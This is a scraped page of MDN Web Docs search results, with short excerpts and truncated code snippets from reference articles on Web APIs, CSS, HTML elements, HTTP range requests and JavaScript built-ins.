... see ice check lists in rtcicecandidatepairstats.state for further information about how ice check lsits work.
...And 6 more matches
ReadableStream.ReadableStream() - Web APIs
if this process is to be done asynchronously, it can return a promise to signal success or failure.
... pull(controller) optional this method, also defined by the developer, will be called repeatedly when the stream's internal queue of chunks is not full, up until it reaches its high water mark.
...this can be used by the developer to control the stream as more chunks are fetched.
...And 6 more matches
SVGTextPathElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 6 more matches
SVGTransform - Web APIs
an svgtransform object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
...it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
...the matrix object is live, meaning that any changes made to the svgtransform object are immediately reflected in the matrix object and vice versa.
...And 6 more matches
ScreenOrientation - Web APIs
event handlers screenorientation.onchange the eventhandler called whenever the screen changes orientation.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscreenorientationchrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support nowebview android full support 38chrome android full support 38firefox android full support 43opera an...
...And 6 more matches
ScriptProcessorNode - Web APIs
an event, implementing the audioprocessingevent interface, is sent to the object each time the input buffer contains new data, and the event handler terminates when it has filled the output buffer with data.
...small numbers lower the latency, but large number may be necessary to avoid audio breakup and glitches.
... if the buffer size is not defined, which is recommended, the browser will pick one that its heuristic deems appropriate.
...And 6 more matches
ServiceWorkerContainer - Web APIs
it returns a promise that will never reject, and which waits indefinitely until the serviceworkerregistration associated with the current page has an serviceworkerregistration.active worker.
... events controllerchange occurs when the document's associated serviceworkerregistration acquires a new active worker.
... also available via the serviceworkercontainer.oncontrollerchange property.
...And 6 more matches
StorageEvent - Web APIs
a storageevent is sent to a window when a storage area it has access to is changed within the context of another document.
...ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/storageevent" target="_top"><rect x="116" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="176" y="30" font-size="12px" font-family="conso...
...las,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">storageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} method overview void initstorageevent( in domstring type, in boolean canbubble, in boolean cancelable, in domstring key, in domstring oldvalue, in domstring newvalue, in usvstring url, in storage storagearea ); attributes attribute type description key domstring represents the key changed.
...And 6 more matches
SubtleCrypto.encrypt() - Web APIs
it returns a promise which will be fulfilled with the encrypted data (also known as "ciphertext").
...the web crypto api supports three different aes modes: ctr (counter mode) cbc (cipher block chaining) gcm (galois/counter mode) it's strongly recommended to use authenticated encryption, which includes checks that the ciphertext has not been modified by an attacker.
... authentication helps protect against chosen-ciphertext attacks, in which an attacker can ask the system to decrypt arbitrary messages, and use the result to deduce information about the secret key.
...And 6 more matches
Using the User Timing API - Web APIs
this document shows how to create mark and measure performance entry types and how to use user timing methods (which are extensions of the performance interface) to retrieve and remove entries from the browser's performance timeline.
...the following examples shows how to use each of these methods (performance.getentries(), performance.getentriesbytype(entrytype), and performance.getentriesbyname(name, entrytype) ) to retrieve one or more marks.
... function display_marks(ev) { if (performance.getentries === undefined) { log("display marks: performance.getentries not supported", 0); return; } log("display marks", 0); // display each mark using getentries() var entries = performance.getentries(); var j=0; for (var i=0; i < entries.length; i++) { if (entries[i].entrytype == "mark") { if (j == 0) { log("= getentries()", 0); j++ } log("...
...And 6 more matches
WebGLRenderingContext.makeXRCompatible() - Web APIs
the webglrenderingcontext method makexrcompatible() ensures that the rendering context described by the webglrenderingcontext is ready to render the scene for the immersive webxr device on which it will be displayed.
... this is useful if you have an application which can start out being presented on a standard 2d display but can then be transitioned to a 3d immersion system.
... return value a promise which successfully resolves once the webgl context is ready to be used for rendering webxr content.
...And 6 more matches
Color masking - Web APIs
so, by masking off the blue and green channels, you are only allowing the red component of pixels to be updated, and therefore it is as if you were looking through a red tinted glass.
...by masking off some channel(s), we are in fact biasing the displayed colors towards the complementary color.
...masking only the blue channel would give us shades of yellow (including shades of orange, brown, olive and yellow-green), the complementary of blue.
...And 6 more matches
WebRTC Statistics API - Web APIs
collecting statistics you can collect statistics at various levels throughout the webrtc hierarchy of objects.
... try { mypeerconnection = new rtcpeerconnection(pcoptions); statsinterval = window.setinterval(getconnectionstats, 1000); /* add event handlers, etc */ } catch(err) { console.error("error creating rtcpeerconnection: " + err); } function getconnectionstats() { mypeerconnection.getstats(null).then(stats => { var statsoutput = ""; stats.foreach(report => { if (report.type === "inbound-rtp" && report.kind === "video") { object.keys(report).foreach(statname => { statsoutput += `<strong>${statname}:</strong> ${report[stat...
...the table below shows the statistic categories and the corresponding dictionaries; for each statistic category, the full hierarchy of rtcstats-based dictionaries are listed, so you can easily find all the available values.
...And 6 more matches
Web Storage API - Web APIs
the web storage api provides mechanisms by which browsers can store key/value pairs, in a much more intuitive fashion than using cookies.
... web storage concepts and usage the two mechanisms within web storage are as follows: sessionstorage maintains a separate storage area for each given origin that's available for the duration of the page session (as long as the browser is open, including page reloads and restores) stores data only for a session, meaning that the data is stored until the browser (or tab) is closed.
... stores data with no expiration date, and gets cleared only through javascript, or clearing the browser cache / locally stored data.
...And 6 more matches
window.cancelIdleCallback() - Web APIs
summary the window.cancelidlecallback() method cancels a callback previously scheduled with window.requestidlecallback().
... example see our complete example in the article cooperative scheduling of background tasks api.
... specifications specification status comment cooperative scheduling of background tasks proposed recommendation initial definition.
...And 6 more matches
Window.find() - Web APIs
WebAPIWindowfind
note: support for window.find() might change in future versions of gecko.
... syntax window.find(astring, acasesensitive, abackwards, awraparound, awholeword, asearchinframes, ashowdialog); astring the text string for which to search.
...if true, specifies a case-sensitive search.
...And 6 more matches
WindowOrWorkerGlobalScope - Web APIs
each of these interfaces can, of course, add more features in addition to the ones listed below.
... windoworworkerglobalscope.caches read only returns the cachestorage object associated with the current context.
... this object enables functionality such as storing assets for offline use, and generating custom responses to requests.
...And 6 more matches
Worker.prototype.postMessage() - Web APIs
this accepts a single parameter, which is the data to send to the worker.
... the data may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references.
...this may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references.
...And 6 more matches
XMLHttpRequest - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 650 150" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhttprequesteventtarget" target="_top"><rect x="151" y="1" width="250" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="12p...
...x" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequesteventtarget</text></a><polyline points="401,25 411,20 411,30 401,25" stroke="#d4dde4" fill="none"/><line x1="411" y1="25" x2="441" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhttprequest" target="_top"><rect x="441" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="511" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequest</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} despite its name, xmlhttprequest can be used to retrieve any type of data, not just xml.
...for full-duplex communication, websockets may be a better choice.
...And 6 more matches
XRBoundedReferenceSpace.boundsGeometry - Web APIs
the read-only xrboundedreferencespace property boundsgeometry is an array of dompointreadonly objects which specifies the points making up a polygon inside which the viewer is allowed to move.
... each point is treated as a two-dimensional point, and must be located at ground level (that is, its y coordinate must be 0).
... syntax bounds = xrreferencespace.boundsgeometry; value the boundsgeometry property is an array of dompointreadonly objects, each of which defines one vertex in a polygon inside which the viewer is required to remain.
...And 6 more matches
XRInputSource.handedness - Web APIs
the read-only xrinputsource property handedness indicates which of the user's hands the webxr input source is associated with, or if it's not associated with a hand at all.
... syntax let hand = xrinputsource.handedness; value a domstring indicating whether the input controller is held in one of the user's hands, and if it is, which hand.
... the value, which comes from the xrhandedness enumerated type, is one of the following: none the input controller is not associated with one of the user's hands.
...And 6 more matches
Using the aria-invalid attribute - Accessibility
description this technique demonstrates how to use the aria-invalid attribute.
... the aria-invalid attribute is used to indicate that the value entered into an input field does not conform to the format expected by the application.this may include formats such as email addresses or telephone numbers.
... possible effects on user agents and assistive technology user agents should inform the user when a field is invalid.
...And 6 more matches
ARIA: banner role - Accessibility
this usually includes a logo, company name, search icon, photo related to the page, or slogan.
... description a banner landmark role converts the container element upon which it is applied into a header.
... the banner is typically includes things a logo or corporate identity, possibly a site-specific search tool, and is generally what your marketing team would call the header or top banner of the site.
...And 6 more matches
Accessibility
accessibility (often abbreviated to a11y—as in "a" then 11 characters then "y") in web development means enabling as many people as possible to use web sites, even when those people's abilities are limited in some way.
... for many people, technology makes things easier.
... for people with disabilities, technology makes things possible.
...And 6 more matches
:where() - CSS: Cascading Style Sheets
WebCSS:where
</footer> </article> in this somewhat-contrived example, we have two articles that each contain a section, an aside, and a footer.
... they differ by the classes used to mark the child elements.
... | <id-selector> = <hash-token><class-selector> = '.' <ident-token><attribute-selector> = '[' <wq-name> ']' | '[' <wq-name> <attr-matcher> [ <string-token> | <ident-token> ] <attr-modifier>?
...And 6 more matches
system - CSS: Cascading Style Sheets
once the end of the list of symbols is reached, it will loop back to the beginning and start over.
...on each successive pass through the cycle, the symbols used for the counter representation are doubled, tripled, and so on.
... for example, if the original symbols provided were "◽" and "◾", on each successive pass, they will become "◽◽" and "◾◾", "◽◽◽" and "◾◾◾" and so on.
...And 6 more matches
@counter-style - CSS: Cascading Style Sheets
syntax descriptors each @counter-style is identified by a name and has a set of descriptors.
... range defines the range of values over which the counter style is applicable.
...if there are either no fallback systems described or if the chain of fallback systems are unable to represent a counter value, then it will ultimately fall back to the decimal style.
...And 6 more matches
@document - CSS: Cascading Style Sheets
WebCSS@document
@document url("https://www.example.com/") { h1 { color: green; } } syntax an @document rule can specify one or more matching functions.
...the functions available are: url(), which matches an exact url.
... url-prefix(), which matches if the document url starts with the value provided.
...And 6 more matches
Styling Columns - CSS: Cascading Style Sheets
this guide explains how to change the gap and style rules between columns.
...the anonymous boxes that make up your columns can’t be targeted in any way, meaning it isn’t possible to change a box's background color or have one column larger than the others.
...for now, however, we are able to change the spacing and add lines between columns.
...And 6 more matches
Flow Layout and Overflow - CSS: Cascading Style Sheets
the property that controls how overflow behaves is the overflow property which has an initial value of visible.
...however, you can specify both values in which case the first is used for overflow-x and therefore the horizontal direction, and the second for overflow-y and the vertical direction.
... flow relative properties in the guide to writing modes and flow layout, we looked at the newer properties of block-size and inline-size which make more sense when working with different writing modes than tying our layout to the physical dimensions of the screen.
...And 6 more matches
Basic concepts of Logical Properties and Values - CSS: Cascading Style Sheets
if i now change the writing mode of this component to vertical-rl using the writing-mode property, the alignment continues to work in the same way.
... if instead of the width property we use the logical property inline-size, the component now works the same way no matter which writing mode it is displayed using.
...change writing-mode from vertical-rl to horizontal-tb on .grid to see how the different properties change the layout.
...And 6 more matches
Shapes From Images - CSS: Cascading Style Sheets
in this guide we will take a look at how we can create a shape from an image file with an alpha channel or even from a css gradient.
... a simple shape from an image to use an image for the shape the image needs to have an alpha channel, an area that is not fully opaque.
... as a simple example, i have an image of a star with a solid red area and an area which is fully transparent.
...And 6 more matches
Layout and the containing block - CSS: Cascading Style Sheets
when a user agent (such as your browser) lays out a document, it generates a box for every element.
... each box is divided into four areas: content area padding area border area margin area many developers believe that the containing block of an element is always the content area of its parent, but that isn't necessarily true.
...percentage values that are applied to the width, height, padding, margin, and offset properties of an absolutely positioned element (i.e., which has its position set to absolute or fixed) are computed from the element's containing block.
...And 6 more matches
Card - CSS: Cascading Style Sheets
each card should be the same height, and footers should stick to the bottom of the card.
... recipe download this example choices made the card is laid out using css grid layout despite being a single dimensional layout, as it enables the use of content sizing for the grid tracks.
... when setting up the single column grid i use the following: .card { display: grid; grid-template-rows: max-content 200px 1fr; } the heading track is set to max-content, which prevents it from stretching.
...And 6 more matches
Specificity - CSS: Cascading Style Sheets
specificity is the means by which browsers decide which css property values are the most relevant to an element and, therefore, will be applied.
... specificity is based on the matching rules which are composed of different sorts of css selectors.
... specificity is a weight that is applied to a given css declaration, determined by the number of each selector type in the matching selector.
...And 6 more matches
animation-timing-function - CSS: Cascading Style Sheets
the animation-timing-function css property sets how an animation progresses through the duration of each cycle.
...if no animation-timing-function is specified on a keyframe, the corresponding value of animation-timing-function from the element to which the animation is applied is used for that keyframe.
... a keyframe's timing function is applied on a property-by-property basis from the keyframe on which it is specified until the next keyframe specifying that property, or until the end of the animation if there is no subsequent keyframe specifying that property.
...And 6 more matches
aspect-ratio - CSS: Cascading Style Sheets
the aspect-ratio css property sets a preferred aspect ratio for the box, which will be used in the calculation of auto sizes and some other layout functions.
...chrome is also shipping this feature.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 6 more matches
<basic-shape> - CSS: Cascading Style Sheets
when creating a shape, the reference box is defined by each property that uses <basic-shape> values.
... a pair of insets in either dimension that add up to more than the used dimension (such as left and right insets of 75% apiece) define a shape enclosing no area.
... each pair argument in the list represents xi and yi - the x and y axis coordinates of the ith vertex of the polygon.
...And 6 more matches
clamp() - CSS: Cascading Style Sheets
WebCSSclamp
the maximum value is the largest (most positive) expression value to which the value of the property will be assigned if the preferred value is greater than this upper bound.
... the expressions can be math functions (see calc() for more information), literal values, or other expressions, such as attr(), that evaluate to a valid argument type (like <length>), or nested min() and max() functions.
... you can use different units for each value in your expressions, and different units in any math function making up any of the arguments.
...And 6 more matches
cross-fade() - CSS: Cascading Style Sheets
it can be used for many simple image manipulations, such as tinting an image with a solid color or highlighting a particular area of the page by combining an image with a radial gradient.
... specification syntax the cross-fade() function takes a list of images with a percentage defining how much of each image is retained in terms of opacity when it is blended with the other images.
... cross-fade percentages think of the percentage as an opacity value for each image.
...And 6 more matches
font-variant-alternates - CSS: Cascading Style Sheets
/* keyword values */ font-variant-alternates: normal; font-variant-alternates: historical-forms; /* functional notation values */ font-variant-alternates: stylistic(user-defined-ident); font-variant-alternates: styleset(user-defined-ident); font-variant-alternates: character-variant(user-defined-ident); font-variant-alternates: swash(user-defined-ident); font-variant-alternates: ornaments(user-defined-ident); font-variant-alternates: annotation(user-defined-ident); font-variant-alternates: swash(ident1) annotation(ident2); /* global values */ font-variant-alternates: initial; font-variant-alternates: inherit; font-variant-alternates: unset; the @font-featur...
...e-values at-rule can define names for alternative glyph functions (stylistic, styleset, character-variant, swash, ornament or annotation), associating the name with opentype parameters.
... stylistic() this function enables stylistic alternates for individual characters.
...And 6 more matches
font-variant-caps - CSS: Cascading Style Sheets
fonts sometimes include special glyphs for various caseless characters (such as punctuation marks) to better match the capitalized characters around them.
... however, small capital glyphs are never synthesized for caseless characters.
...for example: in turkic languages, such as turkish (tr), azerbaijani (az), crimean tatar (crh), volga tatar (tt), and bashkir (ba), there are two kinds of i (one with the dot, one without) and two case pairings: i/İ and ı/i.
...And 6 more matches
font-variant-position - CSS: Cascading Style Sheets
the glyphs are positioned relative to the baseline of the font, which remains unchanged.
... /* keyword values */ font-variant-position: normal; font-variant-position: sub; font-variant-position: super; /* global values */ font-variant-position: inherit; font-variant-position: initial; font-variant-position: unset; when the usage of these alternate glyphs is activated, if one character in the run doesn't have such a typographically-enhanced glyph, the whole set of characters of the run is rendered using a fallback method, synthesizing these glyphs.
...they are merely graphically enhanced, and have no effect on the line-height and other box characteristics.
...And 6 more matches
object-fit - CSS: Cascading Style Sheets
the object-fit css property sets how the content of a replaced element, such as an <img> or <video>, should be resized to fit its container.
... syntax the object-fit property is specified as a single keyword chosen from the list of values below.
...the entire object is made to fill the box, while preserving its aspect ratio, so the object will be "letterboxed" if its aspect ratio does not match the aspect ratio of the box.
...And 6 more matches
quotes - CSS: Cascading Style Sheets
WebCSSquotes
syntax /* keyword value */ quotes: none; quotes: auto; /* <string> values */ quotes: "«" "»"; /* set open-quote and close-quote to the french quotation marks */ quotes: "«" "»" "‹" "›"; /* set two levels of quotation marks */ /* global values */ quotes: inherit; quotes: initial; quotes: unset; values none the open-quote and close-quote values of the content property produce no quotation marks.
...that's the question!</q> css q { quotes: '"' '"' "'" "'"; } q::before { content: open-quote; } q::after { content: close-quote; } result auto quotes for most browsers, the default value of quotes is auto (firefox 70+), or the browser otherwise had this default behavior (chromiums, safari, edge), so this example works without it being explicitly being set.
... html <div lang="fr"> <q>ceci est une citation française.</q> <div> <hr> <div lang="ru"> <q>Это русская цитата</q> <div> <hr> <div lang="de"> <q>dies ist ein deutsches zitat</q> <div> <hr> <div lang="en"> <q>this is an english quote.</q> <div> css /*q { quotes: auto; }*/ result specifications specification status comment css generated content module level 3the definition of 'quotes' in that specification.
...And 6 more matches
CSS: Cascading Style Sheets
WebCSS
cascading style sheets (css) is a stylesheet language used to describe the presentation of a document written in html or xml (including xml dialects such as svg, mathml or xhtml).
... css describes how elements should be rendered on screen, on paper, in speech, or on other media.
...previously development of various parts of css specification was done synchronously, which allowed versioning of the latest recommendation.
...And 6 more matches
Content categories - Developer guides
every html element is a member of one or more content categories — these categories group elements that share common characteristics.
... there are three types of content categories: main content categories, which describe common rules shared by many elements.
... form-related content categories, which describe rules common to form-related elements.
...And 6 more matches
Printing - Developer guides
there may be times in which your web site or application would like to improve the user's experience when printing content.
... you want to adjust the user experience of printing, such as presenting a specially-formatted version of your content before printing begins.
... there may be other cases in which you want to manage the printing process, but these are some of the most common scenarios.
...And 6 more matches
disabled - HTML: Hypertext Markup Language
often browsers grey out such controls and it won't receive any browsing events, like mouse clicks or focus-related ones.
...conversely, elements that support the disabled attribute but don't have the attribute set match the :enabled pseudo-class.
... because a disabled field cannot have it's value changed, required does not have any effect on inputs with the disabled attribute also specified.
...And 6 more matches
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
WebHTMLElementbdi
bidirectional text is text that may contain both sequences of characters that are arranged left-to-right (ltr) and sequences of characters that are arranged right-to-left (rtl), such as an arabic quotation embedded in an english string.
...in this algorithm, characters are given an implicit directionality: for example, latin characters are treated as ltr while arabic characters are treated as rtl.
... some other characters (such as spaces and some punctuation) are treated as neutral and are assigned directionality based on that of their surrounding characters.
...And 6 more matches
<input type="hidden"> - HTML: Hypertext Markup Language
WebHTMLElementinputhidden
note: the input and change events do not apply to this input type.
... additional attributes in addition to the attributes common to all <input> elements, hidden inputs offer the following attributes: attribute description name like all input types, the name of the input to report when submitting the form; the special value _charset_ causes the hidden input's value to be reported as the character encoding used to submit the form name this is actually one of the common attributes, but it has a special meaning available for hidden inputs.
...however, when the form is submitted, a hidden input whose name is set to _charset_ will automatically be reported with the value set to the character encoding used to submit the form.
...And 6 more matches
<picture>: The Picture element - HTML: Hypertext Markup Language
WebHTMLElementpicture
the browser will consider each child <source> element and choose the best match among them.
... if no matches are found—or the browser doesn't support the <picture> element—the url of the <img> element's src attribute is selected.
... to decide which url to load, the user agent examines each <source>'s srcset, media, and type attributes to select a compatible image that best matches the current layout and capabilities of the display device.
...And 6 more matches
<style>: The Style Information element - HTML: Hypertext Markup Language
WebHTMLElementstyle
it contains css, which is applied to the contents of the document containing the <style> element.
... in the same manner as <link> elements, <style> elements can include media attributes that contain media queries, allowing you to selectively apply internal stylesheets to your document depending on media features such as viewport width.
... type this attribute defines the styling language as a mime type (charset should not be specified).
...And 6 more matches
<sub>: The Subscript element - HTML: Hypertext Markup Language
WebHTMLElementsub
the html subscript element (<sub>) specifies inline text which should be displayed as subscript for solely typographical reasons.
... usage notes the <sub> element should be used only for typographical reasons—that is, to change the position of the text to comply with typographical conventions or standards, rather than solely for presentation or appearance purposes.
... for example, using <sub> to style the name of a company which uses altered baselines in their wordmark would not be appropriate; instead, css should be used (likely the vertical-align property, such as vertical-align: sub or, to more precisely control the baseline shift, vertical-align: -25%.
...And 6 more matches
<sup>: The Superscript element - HTML: Hypertext Markup Language
WebHTMLElementsup
the html superscript element (<sup>) specifies inline text which is to be displayed as superscript for solely typographical reasons.
... usage notes the <sup> element should only be used for typographical reasons—that is, to change the position of the text to comply with typographical conventions or standards, rather than solely for presentation or appearance purposes.
... for example, to style the wordmark of a business or product which uses a raised baseline should be done using css (most likely vertical-align) rather than <sup>.
...And 6 more matches
<title>: The Document Title element - HTML: Hypertext Markup Language
WebHTMLElementtitle
page titles and seo the contents of a page title can have significant implications for search engine optimization (seo).
...the content of the title is one of the components used by search engine algorithms to decide the order in which to list pages in search results.
... also, the title is the initial "hook" by which you grab the attention of readers glancing at the search results page.
...And 6 more matches
lang - HTML: Hypertext Markup Language
language tag syntax the full bcp47 syntax is in-depth enough to mark extremely specific language dialects, but most usage is much simpler.
... a language tag is made of hyphen-separated language subtags, where each subtag indicates a certain property of the language.
...a 2-or-3-character code that defines the basic language, typically written in all lowercase.
...And 6 more matches
HTTP range requests - HTTP
checking if a server supports partial requests if the accept-ranges is present in http responses (and its value isn't "none"), the server supports range requests.
... you can check this by issuing a head request with curl, for example.
... curl -i https://www.youtube.com/watch?v=ewtz2xpqwpa http/1.1 200 ok ...
...And 6 more matches
Concurrency model and the event loop - JavaScript
javascript has a concurrency model based on an event loop, which is responsible for executing the code, collecting and processing events, and executing queued sub-tasks.
... heap objects are allocated in a heap which is just a name to denote a large (mostly unstructured) region of memory.
... queue a javascript runtime uses a message queue, which is a list of messages to be processed.
...And 6 more matches
Meta programming - JavaScript
target[name] : 42 } } let p = new proxy({}, handler) p.a = 1 console.log(p.a, p.b) // 1, 42 the proxy object defines a target (an empty object here) and a handler object, in which a get trap is implemented.
... handler placeholder object which contains traps.
...(this is analogous to the concept of traps in operating systems.) target object which the proxy virtualizes.
...And 6 more matches
Array.prototype.reduceRight() - JavaScript
the reduceright() method applies a function against an accumulator and each value of the array (from right-to-left) to reduce it to a single value.
... syntax arr.reduceright(callback(accumulator, currentvalue[, index[, array]])[, initialvalue]) parameters callback function to execute on each value in the array, taking four arguments: accumulator the value previously returned in the last invocation of the callback, or initialvalue, if supplied.
... description reduceright executes the callback function once for each element present in the array, excluding holes in the array, receiving four arguments: the initial value (or value from the previous callback call), the value of the current element, the current index, and the array over which iteration is occurring.
...And 6 more matches
Array.prototype.find() - JavaScript
(it’s similar to findindex(), but checks each element for equality with the value instead of using a testing function.) if you need to find if a value exists in an array, use array.prototype.includes().
... again, it checks each element for equality with the value instead of using a testing function.
... syntax arr.find(callback(element[, index[, array]])[, thisarg]) parameters callback function to execute on each value in the array, taking 3 arguments: element the current element in the array.
...And 6 more matches
Array.prototype.includes() - JavaScript
syntax arr.includes(valuetofind[, fromindex]) parameters valuetofind the value to search for.
... note: when comparing strings and characters, includes() is case-sensitive.
... fromindex optional the position in this array at which to begin searching for valuetofind.
...And 6 more matches
Array.prototype.some() - JavaScript
syntax arr.some(callback(element[, index[, array]])[, thisarg]) parameters callback a function to test for each element, taking three arguments: element the current element being processed in the array.
... description the some() method executes the callback function once for each element present in the array until it finds the one where callback returns a truthy value (a value that becomes true when converted to a boolean).
... if such an element is found, some() immediately returns true.
...And 6 more matches
BigInt64Array - JavaScript
bigint64array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array.
... bigint64array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true.
... bigint64array.prototype.foreach() calls a function for each element in the array.
...And 6 more matches
BigUint64Array - JavaScript
biguint64array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array.
... biguint64array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true.
... biguint64array.prototype.foreach() calls a function for each element in the array.
...And 6 more matches
FinalizationRegistry - JavaScript
if you might want to unregister an object later, you pass a third value, which is the unregistration token you'll use later when calling the registry's unregister function to unregister the object.
... it's common to use the object itself as the unregister token, which is just fine: registry.register(theobject, "some value", theobject); // ...some time later, if you don't care about `theobject` anymore...
...if an application or library depends on gc cleaning up a finalizationregistry or calling a finalizer [cleanup callback] in a timely, predictable manner, it's likely to be disappointed: the cleanup may happen much later than expected, or not at all.
...And 6 more matches
Float32Array - JavaScript
float32array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array.
... float32array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true.
... float32array.prototype.foreach() calls a function for each element in the array.
...And 6 more matches
Float64Array - JavaScript
float64array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array.
... float64array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true.
... float64array.prototype.foreach() calls a function for each element in the array.
...And 6 more matches
Int16Array - JavaScript
int16array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array.
... int16array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true.
... int16array.prototype.foreach() calls a function for each element in the array.
...And 6 more matches
Int32Array - JavaScript
int32array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array.
... int32array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true.
... int32array.prototype.foreach() calls a function for each element in the array.
...And 6 more matches
Int8Array - JavaScript
int8array.prototype.entries() returns a new array iterator object that contains the key/value pairs for each index in the array.
... int8array.prototype.filter() creates a new array with all of the elements of this array for which the provided filtering function returns true.
... int8array.prototype.foreach() calls a function for each element in the array.
...And 6 more matches
JSON.parse() - JavaScript
in the first stage, we replace certain // unicode characters with escape sequences.
... javascript handles many characters // incorrectly, either silently deleting them, or treating them as line endings.
... text = string(text); rx_dangerous.lastindex = 0; if (rx_dangerous.test(text)) { text = text.replace(rx_dangerous, function(a) { return ( "\\u" + ("0000" + a.charcodeat(0).tostring(16)).slice(-4) ); }); } // in the second stage, we run the text against regular expressions that look // for non-json patterns.
...And 6 more matches
Map - JavaScript
description a map object iterates its elements in insertion order — a for...of loop returns an array of [key, value] for each iteration.
... iteration methods map.prototype[@@iterator]() returns a new iterator object that contains an array of [key, value] for each element in the map object in insertion order.
... map.prototype.keys() returns a new iterator object that contains the keys for each element in the map object in insertion order.
...And 6 more matches
Object.setPrototypeOf() - JavaScript
warning: changing the [[prototype]] of an object is, by the nature of how modern javascript engines optimize property accesses, currently a very slow operation in every browser and javascript engine.
... syntax object.setprototypeof(obj, prototype) parameters obj the object which is to have its prototype set.
...otherwise, this method changes the [[prototype]] of obj to the new value.
...And 6 more matches
String.prototype.lastIndexOf() - JavaScript
the lastindexof() method returns the index within the calling string object of the last occurrence of the specified value, searching backwards from fromindex.
